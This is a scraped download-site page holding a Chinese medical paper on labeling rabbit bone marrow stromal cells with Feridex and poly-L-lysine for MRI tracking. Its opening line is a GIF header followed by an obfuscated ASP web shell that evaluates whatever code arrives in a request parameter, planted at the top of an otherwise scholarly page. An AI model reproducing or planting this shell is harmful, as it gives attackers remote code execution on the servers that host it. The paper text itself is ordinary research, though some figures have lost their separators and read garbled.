GIF89a1<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>
您当前位置:首页 > 医学论文 > 前沿论文 > 浏览文件

菲立磁标记兔骨髓基质细胞生物学特性的实验研究

软件等级:
更新时间:2012年08月23日 点击:
软件版本:国产软件
软件大小:0KB
软件授权:免费版
软件语言:简体中文
开发商家:修俊刚,柯以铨,杨志军,代广辉,陈中灿
应用平台:Win9x/NT/2000/XP
演示地址:
软件介绍

  【摘要】目的 初步探索利用菲立磁 (FE) 和转染试剂多聚赖氨酸 (PLL) 体外磁性标记兔骨髓基质细胞 (BMSC) 这一方法的可行性,并确定其标记BMSC的最佳浓度。 方法 无菌条件下行股骨取髓,采用梯度密度离心法分离获取兔BMSC,体外培养、诱导分化为神经干细胞 (NSC),使用不同浓度 (512.52537.5 μg /ml) FE-PLL标记BMSC。采用普鲁士蓝染色、CCK-8法、流式细胞仪、透射电镜、免疫细胞染色等方法,检测FE-PLL标记兔BMSC的效率及其对细胞生长、分化、凋亡的影响。 结果 FE可以高效率标记BMSC,被标记的细胞在显微镜下呈淡黄或深黄,颜色深浅与所加FE 的剂量呈正相关。流式细胞仪结果显示:512.525 μg/ml各组FE对细胞无不良影响,而37.5 μg/ml组凋亡细胞明显增加。CCK-8测定的生长曲线表明:除37.5 μg /ml组外,其他各组细胞之间差异无统计学意义。普鲁士蓝染色显示:各组FE-PLL标记BMSC胞质内均可见到细小的蓝色铁颗粒。电镜结果显示:各组 FE-PLL标记的BMSC胞质内含有许多包裹铁颗粒的囊泡,其含铁囊泡的数量依FE浓度增加而增加。 结论 FE可以用来体外标记兔BMSC;其标记效率随FE浓度增加而增高,最佳浓度为25 μg/ml

  【关键词】 骨髓基质细胞;神经干细胞;电子自旋共振谱学;聚赖氨酸;生物学标记

  Experimental study of cytobiological characteristics of Feridex labeled rabbit bone marrow stromal cells

  XIU Jungang, KE Yiquan, YANG Zhijun, et al

  Department of Neurosurgery, Zhujiang Hospital, Southern Medical University, Guangzhou 510282, China

  Abstract: Objective To explore the feasibility of protocols using Feridex (FE) and transfection agent, poly-l-lysine (PLL), for magnetic labeling of bone marrow stromal cells (BMSCs), and determine the optimal concentration

 of FE for labeling BMSCs in vitro. Methods Under sterile condition, the rabbit BMSCs were harvested by density 

gradient centrifugation following a thighbone puncture, and cultured in vitro and induced to differentiate into neural 

stem cells. Different concentrations (5, 12.5, 25, 37.5μg/ml) of FE-PLL complexes were used to magnetically label

 BMSCs. The efficiency and cellular viability of FE-PLL-labeled BMSCs were evaluated by Prussian blue staining, 

CCK-8 method, flow cytometry, transmission electron microscopy and immunocytochemical staining. The proliferation, 

differentiation and apoptosis of FE-PLL-labeled BMSCs were also investigated. Results BMSCs could be effectively 

labeled by FE. The labeled cells appeared light-yellow or deep-yellow under microscope, which was dependent on the

 dose of FE. Flow cytometry assay demonstrated that cell 

apoptosis was not increased significantly in the experimental groups (5, 12.5, 25μg/ml) compared with the control group.

 However, cell apoptosis was increased significantly in 37.5μg/ml group. Cell growth curves by CCK-8 assay showed that there were no significant differences between different groups (except 37.5μg/ml group). Prussian blue

 staining showed numerous fine blue iron particles in the cytoplasm of FE-PLL-labeled BMSCs. Transmission electron microscopy revealed the presence of numerous vesicles filled with electron-dense

 magnetic iron particles in the FE-PLL-labeled BMSCs. Endosomes filled with iron particles grew in number on the dose of

 FE. Conclusion FE can be used to

 label BMSCs in vitro, and the labeling efficiency is improved by increasing doses of FE. The optimal labeling concentration is

 25μg/ml.

  Key words: bone marrow stromal cells; neural stem cells; electron spin-resonance spectroscopy; polylysine; biological markers

  菲立磁 (FeridexFE) 是经过美国食品及药物管理局 (FDA) 认可的临床使用MRI造影剂之一,已成功用于哺乳动物神经干细胞 (NSC) 和心肌间充质干细胞等的标记[1]。本实验利用磁标记探针FE对新西兰兔骨髓间充质干细胞 (BMSC) 进行标记并对标记细胞的生物学特性进行研究,以明确FE标记BMSC的可行性,为利用MRI技术追踪移植的NSC,无创伤性地监测BMSC在活体内的存活、迁移及演变规律等奠定基础。

   材料与方法

 

  1.1 实验动物 3月龄新西兰大白兔12只 (体质量1 0001 500 g),清洁级,雌雄不拘,南方医科大学动物实验中心提供。

  1.2 主要试剂 胎牛血清 (FSC) 购自杭州四季青公司,碱性成纤维细胞生长因子 (bFGF)、白血病抑止因子 (LIF)、维甲酸 (RA)、多聚赖氨酸 (PLL)、二氨基联苯胺 (DAB)、生物素化羊抗兔IgG (1∶500)、生物素-卵白素 (HRP) 复合物 (1∶500)、淋巴细胞分离液 (percoll) 均购自广州百康生物科技有限公司,兔抗神经巢蛋白 (Nestin) 抗体 (1∶1 000) 购自Chemicon公司,培养液为“CYTOKINE•神经干细胞培养液” (珠江医院神经外科实验室配制,专利号:02134314.4)Annexin V-FITC Kit凋亡试剂盒购自Beckman公司,Cell Counting Kit-8 (CCK-8) 试剂盒购自上海玛芝佳贸易有限公司,FE购自广州百康生物科技有限公司。 1.3 研究方法

  1.3.1 骨髓采集及BMSC分离培养: 麻醉成功后,以500 U/ml肝素盐水2 ml湿化处理注射器,无菌条件下用骨穿针穿透骨皮质至骨髓腔,用力抽吸骨髓组织约25 ml。所获骨髓用Hank液稀释,细胞悬液按1∶2比例加入到percoll中进行2 500 r/min × 15 min密度梯度离心。小心吸取富含有核细胞的界面层,加入12 ml双蒸水 (4 ℃) 吹打约1 min以破坏红细胞,再加入培养液终止红细胞溶解,800 r/min离心5 min,去上清,沉淀物即含BMSC,加培养液悬浮细胞。培养液中加10% FSCLIF 10 ng/ml + bFGF 10 ng/ml,接种于24孔培养板和25 ml培养瓶中。

  1.3.2 FE标记细胞的浓度及分组: 首先将FE分别稀释成10 μg/ml25 μg/ml50 μg/ml75 μg/ml四个不同浓度,并分别与PLL (1.5 μg/ml) 等体积混合,室温下振荡摇匀,30 min后将FE-PLL复合物加入细胞培养液中,FE终浓度分别为5 μg/ml12.5 μg/ml25 μg/ml37.5 μg/mlPLL终浓度为0.75 μg/ml (本实验分组依据国外相关文献报道[2])。实验最后分组:纯BMSC-D-NSC组,0.75PLL组,5FE-0.75PLL组,12.5FE-0.75PLL组,25FE-0.75PLL组,37.5FE-0.75PLL;n = 10

  1.3.3 倒置显微镜和透射电镜观察: 细胞接种到25 ml培养瓶中,按各组浓度标记FE,分别在24 h后及2周后在倒置显微镜下观察细胞形态。各组细胞经0.125%胰蛋白酶消化5 min,用含血清培养液终止反应并悬浮细胞,1 000 r/min离心5 min后,弃去上清,向细胞内加入新鲜配制的固定液 (0.1 mol/L PBS 配制的4%多聚甲醛,1%戊二醛) 4 ℃固定1 h1 000 r/min离心5 min,弃去固定液,1%锇酸4 ℃固定,梯度丙酮脱水,环氧树脂Epon812包埋,常规超薄切片,醋酸双氧铀及枸橼酸铅双染色,在日立JEM-1200EX透射电镜下观察。

  1.3.4 细胞内铁的鉴定和免疫细胞染色: 培养5 d后的细胞经FE-PLL孵育过夜 (1218 h),吸去培养液,Hank液洗涤2次,然后进行普鲁士蓝染色和免疫细胞化学染色。普鲁士蓝染色:4%多聚甲醛溶液固定10 min,蒸馏水洗涤2次,2%亚铁氰化钾-6%盐酸水溶液孵育30 min,蒸馏水洗涤3次。然后部分细胞继续用常规ABC法进行抗Nestin免疫组织化学染色,DAB-H2O2棕色法显色,显微镜下观察结果。

  1.3.5 生长曲线的测定: 按照CCK-8试剂盒说明书进行细胞计数,分析BMSC的存活和增殖能力。调整细胞浓度为1 × 105~1 × 106/ml,接种细胞悬液100 μl96孔板内,置于37 ℃5% CO2培养箱内培养,检测前4 h每孔加10 μl CCK-8试剂,继续培养3 h,在450 nm波长处检测吸光度 (OD) 值,重复测量3次。对测得的OD值进行统计学处理。

  1.3.6 流式细胞仪 (FCM) 检测凋亡: 用冰的培养液冲洗细胞,4 ℃500 r/min离心5 min,弃上清,以冰的1 × 缓冲液重悬细胞并调整密度为5 × 105/ml,置试管于冰中。加5 μl Annexin V-FITC溶液和2.5 μl 碘化丙啶 (PI) 到细胞悬液中。保持试管在冰中,避光孵育10 min,再加400 μl1 × 结合缓冲液,轻柔混匀,在30 min内用FCM检测凋亡情况。

  1.3.7 统计分析: 数据用均数 ± 标准差表示,并采用SPSS10.0软件包进行数据分析,行单因素方差分析及多重样本均数间的LSD检验,以P <0.05为差异有显著性意义。

   结 果

 

  2.1 倒置显微镜和透射电镜观察 倒置相差显微镜检查:不同培养阶段FE-PLL标记的BMSC与未标记细胞相比较,两者之间细胞形态无明显差异,只是FE-PLL标记的BMSC颜色呈淡黄-深黄色 (1),且FE各标记组随FE浓度增加,其颜色亦随之增加。

  透射电镜检查:未标记BMSC胞核较大,胞质少且透明,胞质内有丰富的细胞器,如微管、微丝、线粒体、高尔基体、糖原等结构。大部分FE-PLL标记BMSC的大小、形态和细胞器无明显变化,胞质内散在分布许多有含膜的囊泡样包涵体结构 (2),其囊泡样含铁颗粒从5FE-0.75PLL组到37.5FE-0.75PLL组依次增多,直径在0.81.5 μm,囊泡内有浓聚的细小铁颗粒;少部分标记细胞可见染色质边集现象,核膜上出现小泡;37.5FE-0.75PLL组凋亡细胞明显增多。

  2.2 免疫细胞染色和细胞内铁的鉴定 普鲁士蓝染色显示:90%以上BMSC细胞质内出现细小的蓝色铁颗粒 (3)5FE-0.75PLL组至37.5FE-0.75PLL组蓝色依次加深。培养5 d后的部分细胞可见Nestin呈阳性表达 (4)

  2.3 FE标记效率组间比较 (1) FE标记组细胞均被不同程度标记,光镜下计数后统计表明:随着FE浓度增加,标记效率亦增加;电镜下观察结果表明:随各组浓度增高,胞质内含FE的含膜囊泡结构也随之增多,说明细胞含铁量亦随之增加。经方差分析,各组间差异有统计学意义。

  2.4 生长曲线测定结果 (5) 37.5FE-0.75PLL组与其他组相比,差异有统计学意义。

  2.5 FCM检测细胞凋亡 (2)

   讨  论

 

  近年来,随着干细胞研究的深入,BMSC被证明具有向NSC分化的潜能[2],应用BMSC移植治疗中枢神经系统损伤和疾病已成为一个研究热点。但移植细胞的活体追踪及对其存活、迁移、增殖等情况的观察是困扰神经干细胞研究者的一个难题[3]

  MRI可以提供2550 μm的分辨率,接近单一细胞的水平,因此,理论上对移植细胞进行活体示踪是可行的。超顺磁性氧化铁 (SPIO) MRI对比剂标记细胞的历史可追溯到10年以前,最初是利用SPIO标记淋巴细胞、白细胞和单核细胞,研究免疫细胞之间信息交流的基本原理[4]FE是经过FDA认可的一种SPIO,它是右旋糖酐超顺磁性氧化铁磁共振对比剂,其颗粒平均直径为80 nm,核心氧化铁直径为20 nm,外周为葡萄糖包裹,理化性质稳定。其晶体核心决定物质的磁性特征及弛豫效应,而葡萄糖衣则影响物质的生物学行为。特殊的化学结构,使其具有对外加磁场的高敏感性,在较弱的磁场中,磁化中心即按外加磁场排列,获得巨大的磁矩,撤除外加磁场后无净剩磁,此即超顺磁性。SPIO作为磁标记探针,用于各种细胞的标记。

  2003年,Kraitchman[5]利用PLL结合FE,对心肌间充质干细胞成功地进行了在体标记。PLL是一种多聚阳离子,多用来转染基因进入靶细胞内部[6]。其与FE形成复合体后,通过静电作用与细胞表面的配体结合,经内吞作用使FE进入细胞内部。Arbab[7]研究证实:在不同的转染剂中,高分子量PLLsuperfect的标记效率是最高的,而低分子量PLL的标记效率是低的;他们用FEPLL成功标记了人间充质干细胞、海拉细胞株 (人子宫颈腺癌传代细胞系),与对照组相比,其活力、增值率、凋亡指数未受摄入的FE影响,证明FE-PLL复合物未对其产生短期和长期的毒性效应[8]

  本实验即应用高分子量PLL (分子量400 ku) FE导入BMSC内,普鲁士蓝染色和电镜结果表明:进入BMSC内的铁粒子位于细胞质中,这与国外的有关报道[8]一致。Matuszewski[9]研究证明:细胞摄取氧化铁是剂量依赖式的,随培养液中氧化铁浓度的增高而增加,且转染剂显著增加了细胞对铁的摄取。本研究结果与其一致,即随着FE浓度增加,细胞摄入铁量也随之增加。但FCM和电镜结果均表明:37.5FE-0.75PL组细胞凋亡明显增加,而其余组对细胞凋亡则无明显影响。免疫细胞化学结果表明:BMSC已经向NSC转化,证明其可以作为NSC的种子细胞。

  以上结果说明:525 μg/ml FE不影响BMSC的生长分化能力,而37.5 μg/ml则明显影响其生长。因此,25 μg/ml为适宜的标记细胞的浓度,其对所标记的细胞是安全的,这与国外有关文献报道的使用浓度一致[6-8]

  【参考文献】

         [1] BULTE J W, ARBAB A S, DOUGLAS T, et al. Preparation of magnetically labeled cells for 

cell tracking by magnetic resonance imaging [J]. Methods Enzymol, 2004, 386: 275-299.

  [2] CROFT A P, PRZYBORSKI S A. Generation of neuroprogenitor-like cells from adult mammalian

 bone marrow stromal cells in vitro [J]. Stem Cells Dev, 2004, 13(4): 409-420.

  [3] LEWIN M, CARIESSO N, TUNG C H, et al. Tat peptide- derivatized magnetic nanoparticles 

allow in vivo tracking and recovery of progenitor cells [J].

 Nat Biotechnol, 2000, 18(4): 410-414.

       [4] CHAMBON C, CLEMENT O, LE BLANCHE A, et al. Superparamagnetic iron oxides as

 positive MR contrast agents: in vitro and in vivo evidence [J]. Magn Reson Imaging, 1993, 11(4): 509-519.

  [5] KRAITCHMAN D L, HELDMAN A W, ATALAR E, et al. In vivo magnetic resonance imaging

 of mesenchymal stem cells in myocardial infarction [J]. Circulation, 2003, 107(18): 2290-2293.

       [6] ARBAB A S, BASHAW L A, MILLER B R, et al. Characterization of biophysical and metabolic 

properties of cells labeled with superparamagnetic iron oxide nanoparticles and transfection agent for cellular 

MR imaging [J]. Radiology, 2003, 229(3): 838-846.

  [7] ARBAB A S, YOCUM G T, WILSON L Bet al. Comparison of transfection agents in forming 

complexes with ferumoxides, cell labeling efficiency, and 

cellular viability [J]. Mol Imaging, 2004, 3(1): 24-32.

       [8] ARBAB A S, BASHAW L A, MILLER B R, et al. Characterization of biophysical and metabolic

 properties of cells labeled with superparamagnetic iron oxide nanoparticles and transfection agent for cellular.

 MR Imaging [J]. Radiology, 2003, 229(3): 838-846.

      [9] MATUSZEWSKI L, PERSIGEHL T, WALL A, et al. Cell tagging with clinically approved iron 

oxides: feasibility and effect of lipofection, particle size, and surface coating on labeling efficiency [J]. 

Radiology, 2005, 235(1): 155-161.

 

 

下载地址
下载地址1
相关软件
网友评论